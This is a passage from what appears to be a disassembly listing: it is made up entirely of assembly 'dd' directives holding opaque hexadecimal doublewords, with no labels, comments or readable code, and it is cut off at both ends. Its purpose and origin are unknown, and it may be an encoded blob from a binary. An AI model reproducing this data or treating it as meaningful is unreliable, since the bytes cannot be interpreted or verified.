324B6AC9h, 3BFF3D90h, 0E49EFFF2h dd 5041502Eh, 78F402A9h, 8B9B0095h, 7C136E8Fh, 0F324674Bh dd 0E402470h, 3FF578B4h, 404F5CEAh, 3DCC0620h, 0FBA03236h dd 0E10FCB1Eh, 0E06D1958h, 9C959E6Eh, 539B008Ah, 0BBB5175h dd 9900784Ch, 372CD023h, 57F72A2h, 1D58F31Bh, 0B90C8483h dd 21F22F00h, 53DF0D44h, 90B3220h, 185DEE23h, 9C001479h dd 0F4356B90h, 5359016Fh, 0A27CFC71h, 4D9EC0C2h, 0C8207D4Fh dd 4BCC3A0Dh, 3534409Dh, 0AF3713Ch, 9636A300h, 84A55094h dd 0D29C0238h, 64B4493Bh, 0B820D47Bh, 780DA444h, 7DAB37F3h dd 7EAC6268h, 330024D9h, 94CCD48Ch, 869600D5h, 60771304h dd 4609B403h, 8556FB66h, 0C084CBA4h, 942620A8h, 3C204368h dd 7B553FE0h, 1ABD4300h, 17E39151h, 4C4702D0h, 0CEA47797h dd 440F9498h, 9F3F7D00h, 0E80480Ah, 9EE4E315h, 1C50928Fh dd 8F1BCAC2h, 920445Dh, 3C39EFACh, 902D80B4h, 4F0660h dd 0E137115Dh, 0D4FF7342h, 40C0691Eh, 0AE80A49Fh, 663CAC04h dd 7890507Eh, 0C72D13E7h, 1EBCE399h, 390F584Dh, 0E8981689h dd 0C1F950D7h, 0A3E6000Ah, 0DF3B86Fh, 0CD0B657Fh, 446AD03Ah dd 499D0018h, 0FDE7D176h, 4C014426h, 0E4A76D66h, 3C307E70h dd 6600045h, 9E65138Bh, 68164C05h, 0F4D02D93h, 98178227h dd 300D487Ch, 20413780h, 0A00037Ah, 2F259A96h, 2C1BE23Fh dd 11B0E7EEh, 629E089Bh, 0E82DBE06h, 0DEAEC421h, 7C10355Fh dd 9548C0B4h, 116B60h, 14A80CDFh, 0D45B509Bh, 16210B09h dd 181826C5h, 6FE280F0h, 7D2DF060h, 9C14B9CAh, 3155C7DBh dd 28C4C0A6h, 670043AAh, 8233B4E6h, 643BB302h, 0B07F10EBh dd 9BEA4788h, 0CC88FC93h, 80102549h, 0B3024C71h, 0FC6073E0h dd 907196h, 16F70C59h, 91007A44h, 15A98AAEh, 2F92602Bh dd 2098A5A2h, 0C09C376Ch, 0E8A64B62h, 9141B4E0h, 0EC858084h dd 0EEF2B36Fh, 0F43A940Fh, 0CA99EBD0h, 7EEDC02Ch, 404C9C85h dd 6C1161DFh, 30FD242Eh, 76E5AB01h, 0A82C969Bh, 0D2010D3Fh dd 68814C58h, 0EA7C31E6h, 0F4907C59h, 9F00658Eh, 38E5CF4Dh dd 8CBE2C00h, 72925DDEh, 0C9E41217h, 0F8B3BDh, 0AEC0CDF1h dd 0E8F228h, 0AB881494h, 6FE3BC76h, 0F4A65CEEh, 17C5D700h dd 1C931226h, 371300BEh, 0ED9BD9CAh, 0AA48D83Fh, 12AC078h dd 0E19DC22h, 23685169h, 0D4C7A03h, 5C83B682h, 2A88CC27h dd 6C747BBBh, 0CC88BC4Ah, 0D34188BEh, 8F0EB8FCh, 6285FAh dd 0F3564C75h, 76D9F803h, 0CF3A0952h, 944116CCh, 2D8C4DB7h dd 0E31000ECh, 0E594C50h, 0C2609C6Eh, 9E022025h, 58012BF1h dd 1282106Ch, 3A44495h, 0D5F4042Dh, 58981848h, 0B402BB37h dd 1125ED29h, 22F08E60h, 44450D68h, 0DCD1006Ch, 0AA8B8264h dd 8D13BC75h, 4030589Dh, 0B757ECh, 0F67EC4BDh, 85A625F5h dd 16F0FC00h, 3B493606h, 70CB2897h, 0EF1A3C48h, 60E9AC81h dd 0F8D954B2h, 0C70FA0D4h, 4346B047h, 7C1F9E0Eh, 2EBB7DE9h dd 400C3992h, 9D3B94E5h, 0D2075C93h, 8E70DFBEh, 1060B97Bh dd 0C4EE69A2h, 0B0A8DAE7h, 0D22E71C1h, 410CF1FCh, 129901BCh dd 1707A85h, 9B262AC9h, 717C3E37h, 754CFCC8h, 506AD200h dd 12104334h, 9A09A1Dh, 0D99142B4h, 3023853h, 98829C83h dd 0FF8E998h, 0CF32A299h, 22657740h, 43D1E05h, 536A0EB8h dd 0CC3D45CAh, 0DF006CA2h, 7A794D1Fh, 9B01F7B0h, 0D22DD444h dd 0BC324537h, 2FD33000h, 2223A22Ch, 83209B00h, 1E0EFADCh dd 85D009D5h, 5020256Dh, 3B455942h, 50067300h, 0E6A792B0h dd 93EF2D4Dh, 8C644409h, 0A0A9C800h, 0BBE71FB4h, 8BB00AD8h dd 48118F4h, 0E46D10FEh, 0E003104h, 5EE10D7Eh, 806877h dd 45D1C3B3h, 8D704998h, 5310754Ch, 806E3D48h, 0D75A9D3Ah dd 8D12Ch, 732F8015h, 3C4701F0h, 90808D4Eh, 0C07170E6h dd 0F395D069h, 0A0B8B64Eh, 0C4B71125h, 2ABD4530h, 0E01F4422h dd 9BB4B0Fh, 226C7F5Ah, 402CDCD2h, 9140C8E8h, 58EE29Eh dd 59F782C9h, 3BF820C8h, 0E1E06AD8h, 0E910EC17h, 0E96E44C8h dd 187E7F10h dd 5C272BE5h, 8E93E0Fh, 20175B13h, 262E0C8Ch, 190860Bh dd 45ADB2CEh, 40047020h, 5D3B6000h, 0A6A0199Ah, 70E9C84Dh dd 21C0429Ch, 66649D2h, 45D80085h, 762322E6h, 7F1263E8h dd 98C8C482h, 0A63E01EFh, 0B3FF4094h, 801CD55Eh, 0D5D1F5B9h dd 2B57FAh, 0C9FB7269h, 5EC40CB2h, 0C7CBFC07h, 0EFC6AC45h dd 7C070031h, 0B45F68DDh, 9A014869h, 1AEC11E9h, 243E1E6Dh dd 1FF0A80Ch, 0B41F7F5h, 0E3947842h, 82E023CEh, 0F1FC2AC3h dd 134C32C8h, 9884927Fh, 87A2E008h, 0E0E29BFEh, 8ACA981Bh dd 940C5716h, 10C07013h, 97B3CDB4h, 0E5D41880h, 81C24C18h dd 90071099h, 5C3BA1B8h, 0A890A041h, 64D88026h, 494406Ah dd 0E83FDC34h, 7F4A0758h, 1A00525h, 0C0784D8Bh, 67018F0Bh dd 6A217122h, 2C319280h, 824F3462h, 8A210618h, 44602981h dd 84189095h, 4F05000Ch, 0AA17303Fh, 242F92DEh, 883022AEh dd 11582A87h, 8E227CE1h, 209E093h, 9EE37643h, 50DE23FFh dd 2E388640h, 3415120Fh, 7F340460h, 0E7DCE48Dh, 0EF31C1FAh dd 0C56B49DBh, 7C20E4h, 0E660280Ah, 2233B62Ah, 7D666D12h dd 897FD805h, 0BCE780A4h, 0B72E4564h, 0AB0D0B08h, 2F98E4Fh dd 796778CCh, 8A620028h, 0A3CF51Eh, 2F04DE74h, 0B3B926Ah dd 2D13B4F8h, 394002EAh, 0CCA00C08h, 0F975E37Fh, 0C18A9612h dd 646E7C04h, 0A1E6C880h, 9E810260h, 688CF49Dh, 0A0BAF8E4h dd 9BB735FAh, 0F4602058h, 0B4195868h, 884A8411h, 0A200C5B4h dd 0B33A7C6Dh, 0ADB5DCh, 0DF59CAB0h, 0A47FEB74h, 1087810Ah dd 7908FC98h, 362203AAh, 6011ECEAh, 885A0C86h, 4060FE8h dd 8AB4816Ch, 43A54538h, 40A4F418h, 2F9B7382h, 0D700781h dd 8416E567h, 2D10F96Eh, 7750C8F2h, 0CC9500DDh, 468CC69Dh dd 0DE009153h, 5476A886h, 48988F75h, 9F0108C9h, 396C877Fh dd 8B7C419Ch, 88D408AEh, 6400B5DBh, 0A2D3BCC3h, 52FC59h dd 0FDE0518h, 0A7016E30h, 3CC37D2Ch, 2738E680h, 981F975Eh dd 98ACE044h, 9F82C54h, 0B5AB0EA8h, 179C7CE1h, 611C04Ch dd 0CA37E04h, 0C0E8E0B8h, 4CD1E2C0h, 670F51C4h, 40C7FBA7h dd 0DB28C11Eh, 2F6D049Eh, 85B52998h, 802CA8E8h, 1972F0A8h dd 0FE27FF5h, 0A091CD33h, 0E49713E2h, 13FF891h, 0F4220AB0h dd 4C006C22h, 75B973CFh, 795F76Ah, 53674DD3h, 0D56C9061h dd 0E1319D36h, 23394846h, 8E0CA042h, 274B0324h, 93F83B7Dh dd 0EC136709h, 0E9123885h, 7E0D02A0h, 0E46D1740h, 55E4005Ch dd 0B8E1B742h, 6201121Dh, 6718B9D4h, 420CBBEh, 0F2864070h dd 94000099h, 694584FBh, 41B80022h, 5D61AFF9h, 0FD72766Ch dd 6EAEE60Fh, 6CC7B2D0h, 269F26C3h, 40F49571h, 0C6B7AB73h dd 6AE93F01h, 623C04F9h, 43EC3D0h, 0A6D1DDDAh, 30DC8929h dd 2F88DB8Ch, 5CD90047h, 5552CD6Bh, 7180FD19h, 0B8EA5028h dd 76E43783h, 0C41A3B78h, 6207C94h, 0B63C256Eh, 7100206Ch dd 4C4E7810h, 18379C8h, 27F1B1B9h, 6A1D3A04h, 6CCA8010h dd 989C71ECh, 429A45ECh, 0F85905F4h, 48790346h, 28223C76h dd 338FE481h, 598522A8h, 5C40E0E7h, 94162D3Bh, 0F838EC49h dd 9200108Eh, 185F39D8h, 30C6A2h, 31060CCFh, 9722E727h dd 6606B890h, 14E611B7h, 6CD44450h, 0C1903858h, 26F5D80h dd 811DC28h, 0D0670012h, 0CB652FA0h, 6A7F0B22h, 5410831Ah dd 75E815BAh, 0F717C8E9h, 7C003A90h, 55D5E8DAh, 7AF51C2Fh dd 4635130Dh, 81C0817h, 16756780h, 25894241h, 0C4E64DECh dd 96F09F80h, 0B75C4900h, 95E769A7h, 11C30023h, 0F32AE8A0h dd 24246C0Ah, 764F80C2h, 0D9B52820h, 0B9C50002h, 8058DF6Dh dd 9300F856h, 0CA86F38Dh, 0E90E0E3h, 41FF746Ch, 4C26D120h dd 544BCD91h, 80134084h, 3973D0C8h, 83253B89h, 787C7042h dd 0CA1E78h, 42C94E2Ah, 0DA9F0D19h, 80675A3Ch, 0EB7850E1h dd 0D2026E9Ah, 0D6C0E059h, 0DA8F291Eh, 172B9240h, 973D413Ah dd 2DE76C01h, 91FE4CBh, 0F3504C02h, 0E0604FDDh, 0E065E224h dd 0E02CB85Ch, 15CB938h, 0BD57C2E1h, 7846DA7Fh, 907EFE05h dd 64DCB87Ah, 22B01CC6h, 513C0028h, 0EFAAB43Ah, 631C7B50h dd 6D783017h, 8AB570C8h, 800174C3h, 59C0B82Eh, 2C5067A9h dd 4A46B7B5h, 812C253Bh, 2FABCDB7h, 44860422h, 99D70174h dd 9EDC914Dh, 13A4393Bh, 0E0A5EF10h, 0F501B473h, 1434F4A3h dd 44B461F7h, 844DC88h, 0CF238F00h, 79DEFC47h, 65350085h dd 5646A062h, 0E0014E21h, 9D99C42Fh, 0C034FFF1h, 1660BA76h dd 0A7D65B10h, 6DA8004Ch, 0A0C6AAA6h, 728500B6h, 97F57CDBh dd 88F47952h, 0F0BA8C34h, 0A4AEB883h, 0E914142h, 0A34078FEh dd 0F6F27882h, 487CABh, 34CD8E85h, 0BABB102Ch, 1A094D04h dd 20C895B4h, 1218008Bh, 10640E15h, 0CB90C4Eh, 57C0059Dh dd 3BD71E5h, 0B48F3D31h, 639A700h, 0FC8C1BBBh, 1613102Fh dd 0E876093Ch, 747A8B64h, 0E160F000h, 0D261EC12h, 0AC4737A4h dd 1E4CC308h, 0ED68E388h, 0C48DF00h, 0F3D9ADD1h, 0DCE43EC7h dd 40570B18h, 8C7900Fh, 65A002D2h, 1E0392h, 0DE586E4Dh dd 0FA118C98h, 58E56930h, 0E6379460h, 49A10045h, 44037B2Ch dd 950043B3h, 0AB67CF18h, 63E1E9B8h, 910F31E3h, 87D0613Fh dd 13D3B968h, 0F5F48E50h, 585501E3h, 0B1DFE7DCh, 8F82E5E9h dd 1411E139h, 163226Ch, 6DF459F8h, 7079D7FFh, 2406C941h dd 2BE3F14Eh, 51A46069h, 46F5EA34h, 0C09B0F88h, 0E7A5C121h dd 63E89556h, 0F0DC753Ah, 0AE064BFEh, 64B3ED4Ah, 0BED01E49h dd 89E51848h, 4F00F41Ah, 0BC3C5CF3h, 5FFD577h, 0C9EA4B32h dd 5E3408E6h, 0A75380BFh, 0D4217E3h, 83EEBAh, 32884486h dd 31A20FACh, 39D3EC30h, 616B5DD2h, 6377E9AEh, 0A31982ABh dd 84BAFDE9h, 90589A30h, 0A179E56h, 1C0039E8h, 8672AEB0h dd 0A7AB01F4h, 0D36E65B2h, 0C4A448B3h, 5BC82B00h, 0FECB7741h dd 31E00059h, 0E64BBBAEh, 7A041929h, 7842B3DBh, 70F8E905h dd 1ED1696Ch, 821D9000h, 6E2FD40h, 0FCFF7381h, 5DEA0A6Eh dd 11C69E8h, 5A72AD7Ch, 0DCCDF133h, 1A00489Ah, 0C306BC65h dd 1D8B4BA8h, 9FB2E337h, 44E24770h, 5F0FB31Dh, 13D67100h dd 0D81C0E1Eh, 32C900B6h, 4BB24C94h, 0E01CE2B9h, 44FFEA44h dd 2D0F872h, 70D15280h, 0B090E768h, 0AC00CBD5h, 1C5A3F3Dh dd 23E731Eh, 0C0D0FEABh, 62DF6A83h, 335C9094h, 7A5C0031h dd 0AA92746Fh, 0FEFACC0Ah, 0EF152B15h, 303068C0h, 0CAF82700h dd 1F12CBh, 888CBADBh, 0F51BA873h, 0E15F9209h, 84241226h dd 2B20EA74h, 18267D9h, 381177D8h, 9A04Ch, 0F8187E92h dd 0DB302891h, 0EB747300h, 0AF0530Bh, 0DA9B0AACh, 746476h dd 18FAD041h, 55F8D7A6h, 441981E3h, 0DB58CD67h, 200F81DCh dd 0A77EEEC8h, 1492E001h, 4E5676C0h, 705C9180h, 735D620Dh dd 80F17163h, 776AC172h, 574E1181h, 0E69F4AFCh, 96F517E0h dd 0E0D34B00h, 27C0AD52h, 14D024E2h, 12F747A8h, 0DC81D340h dd 0F2EF484Bh, 12857808h, 0D50E5562h, 0CE35C054h, 16F68203h dd 297AE7h, 0E2B4C2E5h, 477CA32Bh, 8C99D660h, 30A2B29Eh dd 0F1F1A50Ah, 0C706B9B5h, 0E21EE5ADh, 0E3400061h, 663BDA5h dd 137F3BFBh, 0F8EAD800h, 73F9BFFFh, 0F66F01DFh, 69F2963Dh dd 6D3994EDh, 14901DB3h, 44C68C07h, 7AC401FEh, 0E187725Dh dd 2AE3D8F0h, 32E164F4h dd 29A01324h, 24819EDh, 704600D8h, 65EEF336h, 917903FEh dd 77567430h, 345D313Eh, 0C48C615Eh, 9B8700BBh, 77171433h dd 9F0E6629h, 67EF491Eh, 53B728EAh, 0ACE33FA7h, 7BA100FEh dd 290C85F8h, 0ED033483h, 6E6FEF52h, 758798BEh, 0E0F61727h dd 7850017Eh, 56F41FDFh, 1248D884h, 68D7827Ch, 486556h dd 48B60340h, 2500DF11h, 2D99309Bh, 175B4DDh, 0C23E3C05h dd 85540A97h, 9DB84231h, 0F3C122C0h, 0BB4B0078h, 2A1179C4h dd 4750E1CAh, 69D6D9CBh, 687E1503h, 77900965h, 6C195756h dd 0BC28206Dh, 0CECFC412h, 402CB013h, 75590061h, 9DF8048Ah dd 8E140846h, 0C0A897h, 0C140B609h, 13C3D980h, 336D76E3h dd 6EC1BAC0h, 0B9384092h, 0FD075780h, 0DEDC18B3h, 5C55FA80h dd 6B7711EFh, 0E8547F13h, 5A001998h, 0E19B911Bh, 0E2894E2Fh dd 695D31DEh, 0EECCF021h, 10632441h, 0DFA66A77h, 32701249h dd 0C8421AB8h, 8048D488h, 0BB46970h, 1B00AA7Bh, 4D95CFE6h dd 6BFE95Ch, 68D0ABACh, 0C200D1EFh, 55B55FCBh, 3C18701Dh dd 2A00E38Ch, 8DD0F178h, 7E0471C6h, 29B373F8h, 0E5C16497h dd 71BB980Ah, 0BB0024BCh, 8A4A25EDh, 8D1FB353h, 0BC2D41h dd 0F194E634h, 0C8D07C73h, 5C80ABA8h, 0AADA4C6Dh, 66FA26E9h dd 15F640D8h, 9C098C96h, 2773EE5h, 0DFA231D5h, 0F900BEC3h dd 70185AECh, 618E292Fh, 47F130E5h, 8821807Eh, 7F15E078h dd 8D4F24B4h, 0E1440FACh, 889F640h, 0D4B05914h, 22BCFD22h dd 85008D0Ah, 0F96C76D6h, 5DBEBC3h, 0E10B1956h, 739FC04Eh dd 0C8902146h, 0C2D2A30Eh, 9439B811h, 48EB1CB8h, 0A1B4EA33h dd 0F180EE8Ch, 0D321BEE2h, 730058BBh, 74F9EDF8h, 9111E3C2h dd 5854280Ch, 48C45CD6h, 0AB008C5Fh, 64DDA788h, 21F138DBh dd 0DA13D9FEh, 7FCD31E0h, 0BC444Ch, 9F37B2FAh, 64B643A2h dd 88481880h, 0C000F52Ch, 0BE8DA3BCh, 183C42Fh, 796645FDh dd 80487E78h, 0A5C9F061h, 4A19DDh, 930820F1h, 97B990CFh dd 0E8981890h, 851D08A6h, 54405F07h, 6D4C2C3Ch, 84F70008h dd 2B05DC6Ah, 466CEA98h, 902F90E0h, 0C8684CA0h, 0A3318680h dd 0E1001F27h, 9D3336A6h, 4C806ABAh, 0DD0E4707h, 0DBE5CF9Ch dd 0E19C04EAh, 0D844C80Ch, 0B207E417h, 94567020h, 8F5D074Dh dd 508D959Ch, 9E53118Eh, 8625873Ah, 9657744Ch, 3FB330B9h dd 0C2371C39h, 0B104BE0Fh, 0B4BA81D8h, 0CDE047E0h, 7DFB048Bh dd 47ACDE97h, 0EF7B6A4h, 0EC5F2DD0h, 0AA712C5Dh, 38184990h dd 0BD0B88BCh, 80FDCE1Ah, 84BFC9B1h, 224490B0h, 0A898EDFAh dd 79FC1903h, 0F7B465A8h, 88E16740h, 4810B01Ah, 7B80380Fh dd 85AF4044h, 71A84730h, 58AFCh, 0ED6A069Ah, 0D8BEF10h dd 263AC276h, 54BA01E2h, 6A76CFF1h, 23A1836h, 59288480h dd 8D07942h, 0E5DFE212h, 3C8024DCh, 0FA83A1DDh, 752E0B04h dd 0A344050h, 80022700h, 5ADB9520h, 4324268Ch, 0C44B0324h dd 0E100BB68h, 0EFA7EA70h, 484A8Dh, 0E99C2BC7h, 5DC92883h dd 410FDDFCh, 0E1FE6912h, 1D9DAF61h, 0A720E4h, 8A824F59h dd 57698C19h, 0A253C006h, 1B206580h, 2837E772h, 27C361C0h dd 0A4E9B101h, 0BCF6A48h, 8C5B03F2h, 300F3100h, 98EE4A26h dd 0B673F9h, 2EA5DB01h, 1DD4797Fh, 42C98408h, 0D3A780A0h dd 0B18B5AC1h, 0AF3E4B0Eh, 73C361C5h, 798138EBh, 6D39493Dh dd 0DE444041h, 96005A29h, 12E01AA5h, 11C0580Dh, 0A4FEFBh dd 75C2C5A7h, 0C1C779h, 58135A4Bh, 0BA6AE76Dh, 0C0B90960h dd 3B7F0EEEh, 0D91B7CD5h, 0C1E8190Ch, 5011D59h, 9F17B543h dd 3FDC1514h, 0DA6F6010h, 6CFC73Bh, 0AC011290h, 5201451Dh dd 818179B7h, 0DCE8E7E1h, 0BD988F25h, 0A8E039B8h, 843AAC4Ch dd 0E549C005h, 0DE001C0Ch, 94F8A5C1h, 8DBF3152h, 8064A031h dd 4AFA3BD9h, 7426DB7Bh, 0B4E60088h, 53EDE399h, 31C9A5BAh dd 58F380ACh, 6223F177h, 33F0683Fh, 61037080h, 800E630Dh dd 40F36972h, 2152E06Bh, 0E84CF1B3h, 10743AEFh, 21CC200h dd 4AAB2718h, 0BC66973Fh, 0BF05FA67h, 78688D69h, 162680Eh dd 0C0F85C5Ah, 5B8820F3h, 0EC80DF75h, 212090E0h, 7E1121B5h dd 3B257600h, 46715AC0h, 7A9EF303h, 1A6BB52h, 5895D521h dd 0F07EA3A0h, 716FD8BCh, 0D9C50318h, 3F51000Fh, 21357B1h dd 8C7FC2D3h, 9562C000h, 61C858BDh, 69A120E0h, 0F57EA779h dd 36ADC000h, 0E61549DDh, 0E5AB020Fh, 0EC77D2DAh, 3CA04446h dd 0A062526Eh, 3C67D0h, 0D3ADF261h, 0ABB55C00h, 0E5A237C0h dd 3E511F03h, 41399B72h, 4764B040h, 11F93890h, 64DCF72Ch dd 6BB600DDh, 3B36384Dh, 1619AA51h, 4BF0E525h, 2C2F5D02h dd 1C57C11Fh, 80F5251Ah, 0F70F7E0h, 6D19D632h, 46384C01h dd 8C66C501h, 0C9587C79h, 425D405Ah, 91F03D40h, 5F8E008Ch dd 0B340FEAEh, 0D2D6E500h, 7AB86D48h, 0EDC01216h, 3E5800D5h dd 0F3F17250h, 48F084A9h, 0F8F321C0h, 0C000642Bh, 0D1B02756h dd 3FD74DCh, 0FA5CB68Ah, 0D3CF5541h, 0C9506126h, 44843608h dd 7E00C07Dh, 3578A29h, 48F7FA3Ah, 0B031BCC6h, 81ADAA98h dd 0F173E888h, 3512229Ch, 15FC4420h, 450F0008h, 0B8EDD99Dh dd 3F6283E5h, 0A23D4B8h, 0A8211B4h, 0CCB96A47h, 1785843h dd 0D2396319h, 0D0D9234Bh, 2D900559h, 350925F8h, 824D859Bh dd 1074BF9Ch, 52883BECh, 0FC91A3h, 212D2F27h, 0F9C6DEFBh dd 295078h, 11543CF7h, 1D9F65Ah, 1184A84Ch, 0F0184FE9h dd 0F40D993Eh, 85518F00h, 54E1AE1Ah, 0D8D8CA45h, 0D9181984h dd 0D7B4203Dh, 0A9A05F18h, 0E26D1CEh, 790EC555h, 0CBB56262h dd 6483860h, 0C3584E00h, 21239E1Ah, 6A1C44F3h, 20ACB855h dd 0C5034998h, 0C4BAA35Ch, 5AC3A070h, 79F93FAFh, 0B0A9C203h dd 0B1004D78h, 411A5582h, 6F44B2Bh, 66B125CDh, 0E0E240EFh dd 0FB27D90Dh, 90A869A2h, 0D447014Ch, 61CF3648h, 0AAB32121h dd 0FF035C21h, 9FA0E90Eh, 0EA201F75h, 7A5B0A73h, 0DA5187B0h dd 0C0D0722Eh, 0C2013487h, 842996FBh, 75220E5Ch, 80BA4A20h dd 0D72E008Fh, 72264337h, 0CD053087h, 3B5A08BFh, 1AC0D434h dd 1F5956h, 0DD8CB6B4h, 53DCA4C2h, 5190BE30h, 0C03C7D47h dd 0D988E431h, 0CB19303Ah, 0F9896CA0h, 6A14FCh, 0A3C35E8Eh dd 8A8DF09Bh, 0ABE96700h, 0FFD07C41h, 0D36A24A4h, 272141CCh dd 79418F60h, 71FD0558h, 8704A020h, 6C282C37h, 3EF404D4h dd 0FE448123h, 0D02709h, 6F6038B6h, 5FDD3D0h, 9177B833h dd 5D03C099h, 973E42BDh, 0EEB4811Dh, 79304EE3h, 0C8388890h dd 61C5806Bh, 0B79EADF0h, 160C7001h, 0EA77AB3Bh, 611C5C22h dd 0F1BC68B5h, 3971C310h, 2621310Ah, 8C092463h, 11780FC8h dd 0EB105830h, 0C1D03E5Eh, 872D0020h, 0B6A9187Eh, 9A9600EFh dd 78F3A67Fh, 61006D04h, 0C18B9BA0h, 9C0395Eh, 3899EACFh dd 7847C882h, 230D010h, 0DCB1061Eh, 0E060D164h, 9209C0B3h dd 1A60FE21h, 804C4518h, 90D74CBFh, 7015EC43h, 9380C517h dd 8EA0A037h, 0FE45720Bh, 0C1800086h, 0E9F31362h, 0AB7A0159h dd 91A9940Ah, 0C0138870h, 718AEC30h, 18E000ACh, 9643A234h dd 37E3E6Dh, 6C45C48h, 7CB853CDh, 0AD191869h, 5178181Ah dd 6D62E1C0h, 0E0DF71h, 0CEAC3FA6h, 3CEBA252h, 5FCA7601h dd 88F22189h, 0B685424h, 9B5CEACEh, 1BA05483h, 983A8900h dd 5587C6E7h, 5C390026h dd 5EBB151Fh, 340417A9h, 745B4361h, 30B3F447h, 5DBFA3D6h dd 679BCF00h, 0EAFB404Ch, 70B24815h, 1AC04507h, 0EE27F0AFh dd 2D3D5471h, 79B91377h, 3DD3C004h, 7201F854h, 153FBB58h dd 71872F0h, 2910B0DFh, 7D5F7F90h, 38847583h, 0D58FBF9Fh dd 0F518953h, 13526847h, 64C1C024h, 0C872A2CEh, 0E972A018h dd 0AF018560h, 27834C74h, 0C84018FEh, 803CE473h, 4400FF65h dd 0A36F640Bh, 162FDC7h, 8AC06A07h, 8E66FA21h, 468BC549h dd 5B8A5D7h, 5B3D1D47h, 69DC88ADh, 7AF7FB88h, 0ECA0094h dd 35824E87h, 0DB003CD2h, 0C6B9CC6Ah, 5EAC1Fh, 0B805B5FDh dd 4ED6E42Eh, 4498111Eh, 0CC5DC600h, 330E4059h, 9A1189B7h dd 0CB2AC0E0h, 0C96D0B07h, 4D40E78Eh, 0CFAB323h, 67DB5B27h dd 0B7F86E61h, 59B539CDh, 1B6410E2h, 21783507h, 20FE2F5Ch dd 0C49C5E31h, 1F0A0E7Dh, 2BC07ED1h, 0F7351443h, 4ED36300h dd 0D267386Eh, 0DDC9189Dh, 0B75D68DAh, 428F44h, 9BB6F66Fh dd 0FF8CD038h, 44463B00h, 476E920Fh, 52CF030Dh, 5E580ECDh dd 0E9C9A81Ch, 37C24977h, 0DB860FBFh, 0FB01C96Dh, 26F53603h dd 23C02479h, 51280050h, 20804CDh, 84504C6Eh, 2F01436Ch dd 7E68B357h, 198039CDh, 511763B9h, 0C0D042CAh, 6CDEC684h dd 0AF281C69h, 556080C1h, 48E16B22h, 61605AB0h, 1AF56721h dd 0F7763CB0h, 0E4E03480h, 42C0DF19h, 0D59C0400h, 6F8D5847h dd 61BA6052h, 0F3F56361h, 0C40E70A0h, 0A0D2CB88h, 62F0C9F4h dd 10CD9189h, 0D2DA1080h, 0E4A0C1CBh, 0B288F950h, 0F121C0B3h dd 0C3FC2DD6h, 47CEED00h, 18FDD4F7h, 0A85E3C71h, 0CC7E7714h dd 0F7CAD9C0h, 886C6811h, 1B52A92h, 9714852Eh, 80C9B2CFh dd 24E39C59h, 2CABACh, 0E44D71B5h, 4679E011h, 0E1F2EA39h dd 20D8C929h, 402CE99Ch, 843A2743h, 0C1174DFh, 0C201BEB3h dd 0B1A2F831h, 4536F411h, 84D1F504h, 0C601543Dh, 0A27FB75Ch dd 580044E1h, 0B685E86h, 0C46782h, 17727CE8h, 89B45DE5h dd 41C73B7Eh, 4488586Eh, 47040C0h, 1CE9FA4h, 7AB02B28h dd 98B4FA0Dh, 0C189B529h, 0C9E44DBh, 0D980D274h, 0B49A05C3h dd 14984E8h, 0B3210854h, 0BB6180C2h, 0CA5CF5Bh, 3AEC88h dd 0F52D258Eh, 4D75A414h, 711F37F4h, 9CC03DFDh, 4357B51Eh dd 42D30005h, 0DD665547h, 757C87B7h, 1B5AE718h, 196E4659h dd 0D1C72053h, 167D10BEh, 0BD180061h, 666B330Eh, 0B1C0DDF6h dd 84E145D2h, 0C9880086h, 0F35F2ADCh, 1F2C7EF7h, 2B01A622h dd 8527243Dh, 2EEE60h, 0CD7D04B9h, 546EEBF4h, 848C8C54h dd 71526Fh, 0CFFA5174h, 2459486Eh, 2B3D439Dh, 0A1803AC5h dd 0D3EC578Ch, 524770A0h, 2F016609h, 0D2EC045Ah, 0B0D54F47h dd 6386A861h, 921D25ECh, 3CECCEh, 0C54F7866h, 4859D65Dh dd 20264FE2h, 5CD8980h, 7DDF8810h, 8991B430h, 0CB021BCh dd 346A294Bh, 78747038h, 763A801h, 694A89A4h, 516EC98Ah dd 83479070h, 88CBF905h, 60AFA406h, 45BF19B5h, 0F200FB60h dd 798B3784h, 89DF5h, 278A1B74h, 0D3E3CD3h, 0E8580724h dd 0C90CBF11h, 2CF1CEECh, 788C5B56h, 7E635A00h, 681FD756h dd 665B002Fh, 6BC2FEA7h, 577FB1ECh, 51035A73h, 0B31E7DBEh dd 3A5900CAh, 61E0C3F6h, 0F81DED75h, 0AB4742B4h, 4D60DD6Eh dd 1F58EEAh, 0D8963B5Ah, 8070DB59h, 0A530F8E1h, 0F008AE3Eh dd 15E40091h, 2FDB2134h, 6C9226B3h, 8C42DF04h, 4C240C2h dd 486259h, 63551C64h, 894F39B6h, 9CCF1915h, 300CCD13h dd 0AF925254h, 8311BB60h, 0E5A456Fh, 9C40D704h, 0B88CD220h dd 99C363DBh, 0D8AEFEE5h, 9416D5h, 9F14A0FBh, 4D4B6558h dd 5452E906h, 5251C3F5h, 3000E4DBh, 0EBD9EFDDh, 0EA00365Eh dd 0D875AD8Ah, 3189A96Ah, 0C294252h, 0BC1B8E0h, 1F074Dh dd 1AD7168Eh, 26190018h, 0FE1C3AA0h, 4E3E51C8h, 131E0F5h dd 9F3F8Fh, 315E6AFBh, 0EB3A8B54h, 16F46600h, 46BED268h dd 16CD74F2h, 4B12C5h, 5A47566Ch, 912DDD64h, 37F416h, 2E0E1FACh dd 6A0C9213h, 0D1DEAF44h, 0F5D231C9h, 2588B771h, 66D6304Ch dd 7F8A38h, 0E63C4377h, 41AE0AFh, 29011753h, 895481DEh dd 58A44946h, 0C4004388h, 4BFAB1BFh, 902C2745h, 6F2E12D4h dd 0CB5034D9h, 79B800D8h, 77A0D94Bh, 8BB0E3Fh, 89A5EB67h dd 0C54C848h, 7F39E560h, 612852Dh, 4B6360F0h, 65522892h dd 0A3FA80BCh, 0CA9FE2h, 81D8BC41h, 0ED2C5845h, 1A5B871Fh dd 0D1E9D38Ch, 34AE4Ah, 0CB26D070h, 1D45444Eh, 0CF7CD158h dd 28F7002Ah, 6E60ECh, 7EB62F39h, 329138D7h, 30881526h dd 596FDB8Ch, 0F83F7BE0h, 65D10E43h, 9A600BDCh, 12C4F8D2h dd 6CDD0A0h, 60DBAF44h, 0A2C3962h, 5B0045A0h, 0BFF276B1h dd 3A0EC33Fh, 75B828AFh, 0C8A41A4h, 0A4B9E10Ch, 6A000AB8h dd 5912B460h, 19DB2D7h, 54D9CDD0h, 30718231h, 31DED570h dd 0D476C200h, 0A62D12Ch, 0FBB60EACh, 0D70160A4h, 2A006A8Eh dd 0BC2C8768h, 1DAAD6h, 0A0124B77h, 7D9AF423h, 0FD11320Eh dd 0B302526Eh, 0A085B613h, 